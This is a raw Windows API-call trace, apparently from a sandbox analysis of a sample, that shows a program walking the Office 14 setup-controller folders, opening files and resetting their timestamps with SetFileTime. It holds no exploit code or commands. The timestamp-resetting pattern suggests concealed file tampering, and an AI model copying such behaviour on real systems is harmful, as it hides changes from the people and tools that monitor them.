[0058.475] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*.*") returned="*.*" [0058.475] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\" [0058.475] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\") returned="" [0058.478] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.478] CloseHandle (hObject=0x94) returned 1 [0058.478] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x4f8560, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0058.478] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned="ProPlusrWW.XML" [0058.478] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\" [0058.478] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\") returned="" [0058.478] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x4f8560, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0058.479] FindClose (in: hFindFile=0x4f8158 | out: hFindFile=0x4f8158) returned 1 [0058.479] FindNextFileA (in: hFindFile=0x4f8208, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Publisher.en-us", cAlternateFileName="PUBLIS~1.EN-")) returned 1 [0058.479] lstrcmpA (lpString1=".", lpString2="Publisher.en-us") returned -1 [0058.479] lstrcmpA (lpString1="..", lpString2="Publisher.en-us") returned -1 [0058.479] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*") returned="*.*" [0058.479] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x55004c, dwReserved1=0x520053, cFileName=".", cAlternateFileName="")) returned 0x4f8158 [0058.480] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.480] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x520000, cFileName="..", cAlternateFileName="")) returned 1 [0058.480] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.480] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.480] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PublisherMUI.XML", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0058.480] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*.*") returned="*.*" [0058.480] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\" [0058.480] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\") returned="" [0058.484] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.484] CloseHandle (hObject=0x94) returned 1 [0058.484] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x4f8570, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0058.484] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned="PublisherMUI.XML" [0058.484] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\" [0058.484] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\") returned="" [0058.484] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x4f8570, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0058.484] FindClose (in: hFindFile=0x4f8158 | out: hFindFile=0x4f8158) returned 1 [0058.485] FindNextFileA (in: hFindFile=0x4f8208, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0058.485] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*") returned="*.*" [0058.485] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\" [0058.485] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\") returned="" [0058.485] FindNextFileA (in: hFindFile=0x4f8208, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f0054, dwReserved1=0x440020, cFileName="Visio.en-us", cAlternateFileName="VISIO~1.EN-")) returned 1 [0058.485] lstrcmpA (lpString1=".", lpString2="Visio.en-us") returned -1 [0058.485] lstrcmpA (lpString1="..", lpString2="Visio.en-us") returned -1 [0058.485] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned="Setup.exe" [0058.485] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f8318, cFileName=".", cAlternateFileName="")) returned 0x4f8158 [0058.487] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.487] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.487] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.487] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.487] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0058.487] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*.*") returned="*.*" [0058.487] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\" [0058.487] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\") returned="" [0058.489] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.489] CloseHandle (hObject=0x94) returned 1 [0058.489] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x4f8568, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 1 [0058.489] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned="SETUP.XML" [0058.489] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\" [0058.489] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\") returned="" [0058.490] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x4f8568, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 0 [0058.490] FindClose (in: hFindFile=0x4f8158 | out: hFindFile=0x4f8158) returned 1 [0058.490] FindNextFileA (in: hFindFile=0x4f8208, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="VISIOR", cAlternateFileName="")) returned 1 [0058.490] lstrcmpA (lpString1=".", lpString2="VISIOR") returned -1 [0058.490] lstrcmpA (lpString1="..", lpString2="VISIOR") returned -1 [0058.490] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*") returned="*.*" [0058.490] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e006f, dwReserved1=0x6e0065, cFileName=".", cAlternateFileName="")) returned 0x4f8158 [0058.490] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.490] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x6e0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.490] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.490] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.491] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0058.491] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*.*") returned="*.*" [0058.491] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\" [0058.491] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\") returned="" [0058.492] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.492] CloseHandle (hObject=0x94) returned 1 [0058.493] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x4f8558, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 1 [0058.493] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned="SETUP.XML" [0058.493] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\" [0058.493] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\") returned="" [0058.493] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x4f8558, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 0 [0058.493] FindClose (in: hFindFile=0x4f8158 | out: hFindFile=0x4f8158) returned 1 [0058.493] FindNextFileA (in: hFindFile=0x4f8208, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 1 [0058.493] lstrcmpA (lpString1=".", lpString2="Word.en-us") returned -1 [0058.493] lstrcmpA (lpString1="..", lpString2="Word.en-us") returned -1 [0058.493] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*") returned="*.*" [0058.493] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52004f, dwReserved1=0x48005c, cFileName=".", cAlternateFileName="")) returned 0x4f8158 [0058.494] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.494] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x480000, cFileName="..", cAlternateFileName="")) returned 1 [0058.495] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.495] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.495] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe076d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0058.495] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*.*") returned="*.*" [0058.495] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\" [0058.495] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\") returned="" [0058.503] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.504] CloseHandle (hObject=0x94) returned 1 [0058.504] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x4f8560, cFileName="WordMUI.XML", cAlternateFileName="")) returned 1 [0058.504] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned="SETUP.XML" [0058.504] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\" [0058.504] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\") returned="" [0058.504] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, 